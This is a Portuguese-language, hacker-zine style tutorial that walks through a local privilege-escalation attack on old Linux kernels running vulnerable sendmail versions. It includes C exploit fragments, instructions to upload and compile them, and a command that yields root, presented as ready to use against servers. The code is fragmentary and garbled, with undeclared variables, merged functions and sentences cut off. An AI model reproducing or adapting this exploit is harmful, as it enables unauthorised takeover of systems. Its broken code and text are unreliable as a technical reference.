|
Sendmail
Bug |
| A
t3kn33k que eu vou explicar aqui pode ser aplicada em qualquer maquina linux
que esteja usando o kernel 2.2.15, OU MAIS ANTIGO e esteja rodando o sendmail, nas versoes INFERIORES a 8.10.2. Hummm... se voce fizer uma pesquisa, vai descobrir que mais 90% das maquinas linux, rodando como servidores estao dentro desse perfil. Nota: o kernel 2.2.16 esta patcheado, porem no 2.4.0 (o mais novo, ainda instavel) o bug nao foi corrigido. Bom, para ter sucesso basta
ter uma conta no sistema. Portanto nao se pode obter Vamos ao que interessa. Envie por ftp os arquivos: <++> sendmail/ex.c int main (void) { header = malloc(8); header->pid = 0; data->inheritable =
data->effective = data->permitted = 0; execlp("/usr/sbin/sendmail",
"sendmail", "-t", NULL); int main (void) { seteuid(0); } Detalhe: esses arquivos
devem ficar no diretorio do usuario. # gcc -o add add.c Agora faca o seguinte: # ./ex < mail Voce r00teou a maquina!! Agora vou explicar
por alto o q o exploit faz. Ele explora um bug do kernel e |